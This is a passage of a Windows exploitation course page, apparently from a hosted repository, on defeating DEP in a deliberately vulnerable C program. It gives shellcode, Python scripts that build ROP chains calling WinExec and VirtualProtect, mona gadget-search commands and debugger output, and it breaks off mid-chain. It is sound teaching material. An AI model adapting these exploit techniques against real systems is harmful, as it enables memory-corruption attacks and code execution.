-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploitme3-dep.html
472 lines (423 loc) · 44.4 KB
/
exploitme3-dep.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
<!DOCTYPE html>
<html>
<head>
<title>Exploitme3 (DEP)</title>
<link rel="stylesheet" href="styles.css">
<link rel="stylesheet" href="highlight/styles/stackoverflow-dark.min.css">
<script src="highlight/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
</head>
<body>
<div class="inner-content"><header class="page-header"><h1 class="page-title">Exploitme3 (DEP)</h1></header><div class="page-content"><p>These articles are better read in order because they’re part of a full course. I assume that you know the material in <a href="exploitme1-ret-eip-overwrite.html">Exploitme1</a> and <a href="exploitme2-stack-cookies-seh-2.html">Exploitme2</a>.</p><p>This article is not easy to digest so take your time. I tried to be brief because I don’t believe in repeating things many times. If you understand the principles behind <span style="color: #00ccff;">ROP</span>, then you can work out how everything works by yourself. After all, that’s exactly what I did when I studied ROP for the first time. Also, you must be very comfortable with assembly. What does <span style="color: #00ff00;">RET 0x4</span> do exactly? How are arguments passed to functions (in 32-bit code)? If you’re unsure about any of these points, you need to go back to study assembly. You’ve been warned!</p><h2>Let’s get started…</h2><p>First of all, in <span style="color: #00ccff;">VS 2013</span>, we’ll disable <span style="color: #00ccff;">stack cookies</span>, but leave <span style="color: #00ccff;">DEP</span> on, by going to <span style="color: #00ff00;">Project</span>→<span style="color: #00ff00;">properties</span>, and modifying the configuration for <span style="color: #00ff00;">Release</span> as follows:</p><ul><li>Configuration Properties<ul><li>C/C++<ul><li>Code Generation<ul><li><span style="color: #00ff00;">Security Check</span>: Disable Security Check (/GS-)</li></ul></li></ul></li></ul></li></ul><p>Make sure that DEP is activated:</p><ul><li>Configuration Properties<ul><li>Linker<ul><li>Advanced<ul><li><span style="color: #00ff00;">Data Execution Prevention (DEP)</span>: Yes (/NXCOMPAT)</li></ul></li></ul></li></ul></li></ul><p>We’ll use the same <a href="code/exploitme3.cpp">code</a> as before:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
</code></pre>
<p>Let’s generate <span style="color: #00ff00;">name.dat</span> with the <span style="color: #00ccff;">Python</span> script we used for <span style="color: #00ff00;">exploitme1.exe</span>:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
ret_eip = '\x80\xa9\xe1\x75' # "push esp / ret" in kernel32.dll
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
name = 'a'*36 + ret_eip + shellcode
f.write(name)
</code></pre>
<p>Note that I had to change <span style="color: #00ff00;">ret_eip</span> because I rebooted Windows. Remember that the command to find a <span style="color: #00ff00;">JMP ESP</span> instruction or equivalent code in <span style="color: #00ff00;">kernel32.dll</span> is</p><pre class="ignore:true">!py mona jmp -r esp -m kernel32.dll</pre><p>If you run <span style="color: #00ff00;">exploitme3.exe</span> with DEP disabled, the exploit will work, but with DEP enabled the following exception is generated:</p><pre class="ignore:true">(1ee8.c3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d593071 edx=005a556b esi=00000001 edi=00000000
eip=002ef788 esp=002ef788 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
002ef788 e8ffffffff call 002ef78c</pre><p>Note that <span style="color: #00ff00;">EIP = ESP</span>, so we just jumped to <span style="color: #00ff00;">ESP</span>, but something went wrong. If we disassemble the code at <span style="color: #00ff00;">EIP</span>, we see that it’s indeed our shellcode:</p><pre class="ignore:true">0:000> u eip
002ef788 e8ffffffff call 002ef78c
002ef78d c05fb911 rcr byte ptr [edi-47h],11h
002ef791 0302 add eax,dword ptr [edx]
002ef793 0281f1020202 add al,byte ptr [ecx+20202F1h]
002ef799 0283c71d33f6 add al,byte ptr [ebx-9CCE239h]
002ef79f fc cld
002ef7a0 8a07 mov al,byte ptr [edi]
002ef7a2 3c02 cmp al,2</pre><p>Here’s a portion of our shellcode (see the Python script above):</p><pre class="ignore:true">\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02</pre><p>As you can see, the bytes match.</p><p>So what’s wrong? The problem is that the page which contains this code is marked as <span style="color: #00ff00;">non executable</span>.</p><p>Here’s what you’ll see when the page is <span style="color: #00ff00;">executable</span>:</p><pre class="ignore:true">0:000> !vprot @eip
BaseAddress: 77c71000
AllocationBase: 77bd0000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00045000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE</pre><p>The most important line is</p><pre class="ignore:true">Protect: 00000020 PAGE_EXECUTE_READ</pre><p>which means that the page is <span style="color: #00ff00;">readonly</span> and <span style="color: #00ff00;">executable</span>.</p><p>In our case, after the exception, we see something different:</p><pre class="ignore:true">0:000> !vprot @eip
BaseAddress: 0028f000
AllocationBase: 00190000
AllocationProtect: 00000004 PAGE_READWRITE
RegionSize: 00001000
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE</pre><p>The page is <span style="color: #00ff00;">readable</span> and <span style="color: #00ff00;">writable</span> but not <span style="color: #00ff00;">executable</span>.</p><p>Simply put, <span style="color: #00ccff;">DEP</span> (<span style="color: #00ccff;">D</span>ata <span style="color: #00ccff;">E</span>xecution <span style="color: #00ccff;">P</span>revention) marks all the pages containing data as <span style="color: #00ff00;">non-executable</span>. This includes <span style="color: #00ccff;">stack</span> and <span style="color: #00ccff;">heap</span>. The solution is simple: don’t execute code on the stack!</p><p>The technique to do that is called <span style="color: #00ccff;">ROP</span> which stands for <span style="color: #00ccff;">R</span>eturn-<span style="color: #00ccff;">O</span>riented <span style="color: #00ccff;">P</span>rogramming. The idea is simple:</p><ol><li>reuse pieces of code already present in the modules</li><li>use the stack only to control data and the flow of execution</li></ol><p>Consider the following three pieces of code:</p>
<pre><code class="language-x86asm">piece1:
pop eax
pop ebx
ret
piece2:
mov ecx, 4
ret
piece3:
pop edx
ret
</code></pre>
<p><span style="color: #00ff00;">piece1</span>, <span style="color: #00ff00;">piece2</span> and <span style="color: #00ff00;">piece3</span> are three labels and represent addresses in memory. We’ll use them instead of the real addresses for convenience.</p><p>Now let’s put the following values on the stack:</p><pre class="ignore:true">esp --> value_for_eax
value_for_ebx
piece2
piece3
value_for_edx</pre><p>If in the beginning <span style="color: #00ff00;">EIP = piece1</span> and we let the code run, here’s what will happen:<br>
<a href="images/pic_a4.png"><img src="images/pic_a4.png" alt="pic_a4" width="807" height="550"></a>
<br> The schema should be clear, but let’s examine it step by step:</p><ol><li>The execution starts at <span style="color: #00ff00;">piece1</span> and <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">value_for_eax</span>.</li><li><span style="color: #00ff00;">pop eax</span> puts <span style="color: #00ff00;">value_for_eax</span> into <span style="color: #00ff00;">eax</span> (<span style="color: #00ff00;">esp += 4</span>: now <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">values_for_ebx</span>).</li><li><span style="color: #00ff00;">pop ebx</span> puts <span style="color: #00ff00;">value_for_ebx</span> into <span style="color: #00ff00;">ebx</span> (<span style="color: #00ff00;">esp += 4</span>: now <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">piece2</span>).</li><li><span style="color: #00ff00;">ret</span> pops <span style="color: #00ff00;">piece2</span> and jumps to <span style="color: #00ff00;">piece2</span> (<span style="color: #00ff00;">esp += 4</span>: now <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">piece3</span>).</li><li><span style="color: #00ff00;">mov ecx, 4</span> puts 4 into <span style="color: #00ff00;">ecx</span>.</li><li><span style="color: #00ff00;">ret</span> pops <span style="color: #00ff00;">piece3</span> and jumps to <span style="color: #00ff00;">piece3</span> (<span style="color: #00ff00;">esp += 4</span>: now <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">value_for_edx</span>).</li><li><span style="color: #00ff00;">pop edx</span> puts <span style="color: #00ff00;">value_for_edx</span> into <span style="color: #00ff00;">edx</span> (<span style="color: #00ff00;">esp += 4</span>: now <span style="color: #00ff00;">esp</span> points to <span style="color: #00ff00;">some_function</span>).</li><li><span style="color: #00ff00;">ret</span> pops <span style="color: #00ff00;">some_function</span> and jumps to <span style="color: #00ff00;">some_function</span>.</li></ol><p>We assume that <span style="color: #00ff00;">some_function</span> never returns.</p><p>By now it should be clear why this technique is called ROP: the instruction <span style="color: #00ff00;">RET</span> is used to jump from one piece of code to the next. The pieces of code are usually called <span style="color: #00ccff;">gadgets</span>. A gadget is just a sequence of instructions which ends with a <span style="color: #00ff00;">RET</span> instruction.</p><p>The hard part is finding and chaining together the right gadgets to achieve our goals.</p><h2>Calling WinExec directly</h2><p>For our exploit we want to execute what follows:</p>
<pre><code class="language-cpp">WinExec("calc.exe", SW_SHOW);
ExitThread(0);
</code></pre>
<p>Here’s the corresponding code in assembly:</p><pre class="ignore:true"> WinExec("calc.exe", SW_SHOW);
00361000 6A 05 push 5
00361002 68 00 21 36 00 push 362100h
00361007 FF 15 04 20 36 00 call dword ptr ds:[362004h]
ExitThread(0);
0036100D 6A 00 push 0
0036100F FF 15 00 20 36 00 call dword ptr ds:[362000h]</pre><p>One important thing that we note is that <span style="color: #00ff00;">WinExec()</span> and <span style="color: #00ff00;">ExitThread()</span> remove the arguments from the stack on their own (by using <span style="color: #00ff00;">ret 8</span> and <span style="color: #00ff00;">ret 4</span>, respectively).</p><p><span style="color: #00ff00;">362100h</span> is the address of the string <span style="color: #00ff00;">calc.exe</span> located in the <span style="color: #00ff00;">.rdata</span> section. We’ll need to put the string directly on the stack. Unfortunately the address of the string won’t be constant so we’ll have to compute it at runtime.</p><p>First of all, we’ll find all the interesting gadgets in <span style="color: #00ff00;">kernel32.dll</span>, <span style="color: #00ff00;">ntdll</span> and <span style="color: #00ff00;">msvcr120.dll</span>. We’ll use <span style="color: #00ccff;">mona</span> (<a href="mona2.html">article</a>) once again. If you didn’t do so, set mona’s <span style="color: #00ccff;">working directory</span> with:</p><pre class="ignore:true">!py mona config -set workingfolder "C:\logs\%p"</pre><p>You’re free to change the directory, of course. The term <span style="color: #00ff00;">%p</span> will be replaced each time with the name of the executable you’re working on.</p><p>Here’s the command to find the rops:</p><pre class="ignore:true">!py mona rop -m kernel32.dll,ntdll,msvcr120.dll</pre><p>This will output a lot of data and generate the following files (located in the directory specified above):</p><ul><li>rop.txt</li><li>rop_chains.txt</li><li>rop_suggestions.txt</li><li>stackpivot.txt</li></ul><p>Review the files to see what kind of information they contain.</p><p>To call <span style="color: #00ff00;">WinExec</span> and <span style="color: #00ff00;">ExitThread</span>, we need to set up the stack this way:</p><pre class="ignore:true"> cmd: "calc"
".exe"
0
WinExec <----- ESP
ExitThread
cmd # arg1 of WinExec
5 # arg2 (uCmdShow) of WinExec
ret_for_ExitThread # not used
dwExitCode # arg1 of ExitThread</pre><p>If we execute <span style="color: #00ff00;">RET</span> when <span style="color: #00ff00;">ESP</span> points at the location indicated above, <span style="color: #00ff00;">WinExec</span> will be executed. <span style="color: #00ff00;">WinExec</span> terminates with a <span style="color: #00ff00;">RETN 8</span> instruction which extract the address of ExitThread from the stack, jumps to <span style="color: #00ff00;">ExitThread</span> and remove the two arguments from the stack (by incrementing <span style="color: #00ff00;">ESP</span> by 8). <span style="color: #00ff00;">ExitThread</span> will use <span style="color: #00ff00;">dwExitCode</span> located on the stack but won’t return.</p><p>There are two problems with this schema:</p><ol><li>some bytes are null;</li><li><span style="color: #00ff00;">cmd</span> is non-constant so the <span style="color: #00ff00;">arg1</span> of <span style="color: #00ff00;">WinExec</span> must be fixed at runtime.</li></ol><p>Note that in our case, since all the data is read from file through <span style="color: #00ff00;">fread()</span>, we don’t need to avoid null bytes. Anyway, to make things more interesting, we’ll pretend that no null bytes may appear in our ROP chain. Instead of 5 (<span style="color: #00ff00;">SW_SHOW</span>), we can use <span style="color: #00ff00;">0x01010101</span> which seems to work just fine. The first null dword is used to terminate the <span style="color: #00ff00;">cmd</span> string so we’ll need to replace it with something like <span style="color: #00ff00;">0xffffffff</span> and zero it out at runtime. Finally, we’ll need to write <span style="color: #00ff00;">cmd</span> (i.e. the address of the string) on the stack at runtime.</p><p>The approach is this:<br>
<a href="images/pic_a5.png"><img src="images/pic_a5.png" alt="pic_a5" width="816" height="847"></a>
</p><p>First, we skip (by incrementing <span style="color: #00ff00;">ESP</span>) the part of the stack we want to fix. Then we fix that part and, finally, we jump back (by decrementing <span style="color: #00ff00;">ESP</span>) to the part we fixed and “execute it” (only in a sense, since this is ROP).</p><p>Here’s a Python <a href="code/script3_1.py">script</a> which creates <span style="color: #00ff00;">name.dat</span>:</p>
<pre><code class="language-python">import struct
def write_file(file_path):
# NOTE: The rop_chain can't contain any null bytes.
msvcr120 = 0x6cf70000
kernel32 = 0x77120000
ntdll = 0x77630000
WinExec = kernel32 + 0x92ff1
ExitThread = ntdll + 0x5801c
lpCmdLine = 0xffffffff
uCmdShow = 0x01010101
dwExitCode = 0xffffffff
ret_for_ExitThread = 0xffffffff
# These are just padding values.
for_ebp = 0xffffffff
for_ebx = 0xffffffff
for_esi = 0xffffffff
for_retn = 0xffffffff
rop_chain = [
msvcr120 + 0xc041d, # ADD ESP,24 # POP EBP # RETN
# cmd:
"calc",
".exe",
# cmd+8:
0xffffffff, # zeroed out at runtime
# cmd+0ch:
WinExec,
ExitThread,
# cmd+14h:
lpCmdLine, # arg1 of WinExec (computed at runtime)
uCmdShow, # arg2 of WinExec
ret_for_ExitThread, # not used
dwExitCode, # arg1 of ExitThread
# cmd+24h:
for_ebp,
ntdll + 0xa3f07, # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04
# now edi = here
# here:
for_esi,
for_ebp,
msvcr120 + 0x45042, # XCHG EAX,EDI # RETN
for_retn,
# now eax = here
msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN
for_ebx,
for_ebp,
msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN
for_ebx,
for_ebp,
msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN
for_ebx,
for_ebp,
msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN
for_ebx,
for_ebp,
msvcr120 + 0x92aa3, # SUB EAX,7 # POP EBX # POP EBP # RETN
for_ebx,
for_ebp,
msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN
for_ebp,
kernel32 + 0xb7804, # INC EAX # RETN
# now eax = cmd+8
# do [cmd+8] = 0:
msvcr120 + 0x76473, # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN
for_esi,
for_ebp,
msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN
for_ebp,
# now eax+0eh = cmd+14h (i.e. eax = cmd+6)
# do ecx = eax:
msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
kernel32 + 0xb7a0a, # XOR EAX,EAX # RETN
kernel32 + 0xbe203, # XOR EAX,ECX # POP EBP # RETN 0x08
for_ebp,
msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN
for_retn,
for_retn,
for_ebp,
msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN
for_ebp,
msvcr120 + 0xbfe65, # SUB EAX,2 # POP EBP # RETN
for_ebp,
# now eax = cmd
msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
# now eax+0eh = cmd+14h
# now ecx = cmd
kernel32 + 0xa04fc, # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10
for_ebp,
msvcr120 + 0x3936b, # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN
for_retn,
for_retn,
for_retn,
for_retn,
msvcr120 + 0x1e47e, # ADD EAX,0C # RETN
# now eax = cmd+0ch
# do esp = cmd+0ch:
kernel32 + 0x489c0, # XCHG EAX,ESP # RETN
]
rop_chain = ''.join([x if type(x) == str else struct.pack('<I', x)
for x in rop_chain])
with open(file_path, 'wb') as f:
ret_eip = kernel32 + 0xb7805 # RETN
name = 'a'*36 + struct.pack('<I', ret_eip) + rop_chain
f.write(name)
write_file(r'c:\name.dat')
</code></pre>
<p>The chain of gadgets is quite convoluted, so you should take your time to understand it. You may want to debug it in WinDbg. Start WinDbg, load <span style="color: #00ff00;">exploitme3.exe</span> and put a breakpoint on the ret instruction of the main function:</p><pre class="ignore:true">bp exploitme3!main+0x86</pre><p>Then hit <span style="color: #00ff00;">F5</span> (go) and begin to step (<span style="color: #00ff00;">F10</span>) through the code. Use <span style="color: #00ff00;">dd esp</span> to look at the stack now and then.</p><p>Here’s a simpler description of what happens to help you understand better:</p><pre class="ignore:true"> esp += 0x24+4 <span class="crayon-c"># ADD ESP,24 # POP EBP # RETN</span>
# This "jumps" to "skip" ------------------------+
# cmd: |
"calc" |
".exe" |
# cmd+8: |
0xffffffff, # zeroed out at runtime |
# cmd+0ch: |
WinExec <----------------------------------------------------------------)---------------------------+
ExitThread | |
# cmd+14h: | |
lpCmdLine # arg1 of WinExec (computed at runtime) | |
uCmdShow # arg2 of WinExec | |
ret_for_ExitThread # not used | |
dwExitCode # arg1 of ExitThread | |
# cmd+24h: | |
for_ebp | |
| |
skip: <---------------------------------------------------------------+ |
edi = esp # INC ESI # PUSH ESP # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04 |
# ----> now edi = here |
# here: |
eax = edi # XCHG EAX,EDI # RETN |
# ----> now eax = here |
|
eax -= 36 # SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,7 # POP EBX # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# INC EAX # RETN |
# ----> now eax = cmd+8 (i.e. eax --> value to zero-out) |
|
dword ptr [eax] = 0 # XOR ECX,ECX # XCHG ECX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN |
|
eax -= 2 # SUB EAX,2 # POP EBP # RETN |
# ----> now eax+0eh = cmd+14h (i.e. eax+0eh --> lpCmdLine on the stack) |
|
ecx = eax # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
# XOR EAX,EAX # RETN |
# XOR EAX,ECX # POP EBP # RETN 0x08 |
|
eax -= 6 # SUB EAX,2 # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# SUB EAX,2 # POP EBP # RETN |
# ----> now eax = cmd |
|
swap(eax,ecx) # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
# ----> now eax+0eh = cmd+14h |
# ----> now ecx = cmd |
|
[eax+0eh] = ecx # MOV DWORD PTR [EAX+0EH],ECX # POP EBP # RETN 0x10 |
|
eax = ecx # XCHG EAX,ECX # MOV EDX,653FB4A5 # RETN |
eax += 12 # ADD EAX,0C # RETN |
# ----> now eax = cmd+0ch |
esp = eax # XCHG EAX,ESP # RETN |
# This "jumps" to cmd+0ch ----------------------------------------------------+</pre><h2>Disabling DEP</h2><p>It turns out that DEP can be disabled programmatically. The problem with DEP is that some applications might not work with it, so it needs to be highly configurable.</p><p>At a global level, DEP can be</p><ul><li><span style="color: #00ff00;">AlwaysOn</span></li><li><span style="color: #00ff00;">AlwaysOff</span></li><li><span style="color: #00ff00;">OptIn</span>: DEP is enabled only for system processes and applications chosen by the user.</li><li><span style="color: #00ff00;">OptOut</span>: DEP is enabled for every application except for those explicitly excluded by the user.</li></ul><p>DEP can also be enabled or disabled on a per-process basis by using <span style="color: #00ff00;">SetProcessDEPPolicy</span>.</p><p>There are various ways to bypass DEP:</p><ul><li><span style="color: #00ff00;">VirtualProtect()</span> to make memory executable.</li><li><span style="color: #00ff00;">VirtualAlloc()</span> to allocate executable memory.<br> Note: <span style="color: #00ff00;">VirtualAlloc()</span> can be used to commit memory already committed by specifying its address. To make a page executable, it’s enough to allocate a single byte (length = 1) of that page!</li><li><span style="color: #00ff00;">HeapCreate()</span> + <span style="color: #00ff00;">HeapAlloc()</span> + copy memory.</li><li><span style="color: #00ff00;">SetProcessDEPPolicy()</span> to disable DEP. It doesn’t work if DEP is <span style="color: #00ff00;">AlwaysOn</span> or if <span style="color: #00ff00;">SetProcessDEPPolicy()</span> has already been called for the current process.</li><li><span style="color: #00ff00;">NtSetInformationProcess()</span> to disable DEP. It fails if DEP is <span style="color: #00ff00;">AlwaysON</span> or if the module was compiled with <span style="color: #00ff00;">/NXCOMPAT</span> or if the function has been already called by the current process.</li></ul><p>Here’s a useful table from <span style="color: #00ccff;">Team Corelan</span>:<br>
<a href="images/pic_a6.png"><img src="images/pic_a6.png" alt="pic_a6" width="967" height="349"></a>
</p><p>If you look at the file <span style="color: #00ff00;">rop_chains.txt</span>, you’ll see that mona generated a chain for <span style="color: #00ff00;">VirtualProtect</span>. Let’s use it!</p><p>First of all, let’s have a look at <span style="color: #00ff00;">VirtualProtect</span>. Its signature is as follows:</p><pre class="ignore:true">BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);</pre><p>This function modifies the protection attributes of the pages associated with the specified area of memory. We will use <span style="color: #00ff00;">flNewProtect = 0x40</span> (<span style="color: #00ff00;">PAGE_EXECUTE_READWRITE</span>). By making the portion of the stack containing our shellcode executable again, we can execute the shellcode like we did before.</p><p>Here’s the chain for Python built by mona:</p>
<pre><code class="language-python">def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x6d02f868, # POP EBP # RETN [MSVCR120.dll]
0x6d02f868, # skip 4 bytes [MSVCR120.dll]
0x6cf8c658, # POP EBX # RETN [MSVCR120.dll]
0x00000201, # 0x00000201-> ebx
0x6d02edae, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
0x6d04b6c4, # POP ECX # RETN [MSVCR120.dll]
0x77200fce, # &Writable location [kernel32.dll]
0x776a5b23, # POP EDI # RETN [ntdll.dll]
0x6cfd8e3d, # RETN (ROP NOP) [MSVCR120.dll]
0x6cfde150, # POP ESI # RETN [MSVCR120.dll]
0x7765e8ae, # JMP [EAX] [ntdll.dll]
0x6cfc0464, # POP EAX # RETN [MSVCR120.dll]
0x6d0551a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
0x6d02b7f9, # PUSHAD # RETN [MSVCR120.dll]
0x77157133, # ptr to 'call esp' [kernel32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
</code></pre>
<p>The idea of this chain is simple: first we put the right values in the registers and then we push all the registers on the stack with <span style="color: #00ff00;">PUSHAD</span>. As before, let’s try to avoid null bytes. As you can see, this chain contains some null bytes. I modified the chain a bit to avoid that.</p><p>Read the following <a href="code/script3_2.py">code</a> very carefully paying special attention to the comments:</p>
<pre><code class="language-python">import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN)) <---------------------------- current ESP
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x6cf70000
kernel32 = 0x77120000
ntdll = 0x77630000
def create_rop_chain():
for_edx = 0xffffffff
# rop chain generated with mona.py - www.corelan.be (and modified by me).
rop_gadgets = [
msvcr120 + 0xbf868, # POP EBP # RETN [MSVCR120.dll]
msvcr120 + 0xbf868, # skip 4 bytes [MSVCR120.dll]
# ebx = 0x400 (dwSize)
msvcr120 + 0x1c658, # POP EBX # RETN [MSVCR120.dll]
0x11110511,
msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll]
0xeeeefeef,
msvcr120 + 0x46398, # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
for_edx,
# edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
msvcr120 + 0xbedae, # POP EDX # RETN [MSVCR120.dll]
0x01010141,
ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll]
0xfefefeff,
msvcr120 + 0x39b41, # ADD EDX,EDI # RETN [MSVCR120.dll]
msvcr120 + 0xdb6c4, # POP ECX # RETN [MSVCR120.dll]
kernel32 + 0xe0fce, # &Writable location [kernel32.dll]
ntdll + 0x75b23, # POP EDI # RETN [ntdll.dll]
msvcr120 + 0x68e3d, # RETN (ROP NOP) [MSVCR120.dll]
msvcr120 + 0x6e150, # POP ESI # RETN [MSVCR120.dll]
ntdll + 0x2e8ae, # JMP [EAX] [ntdll.dll]
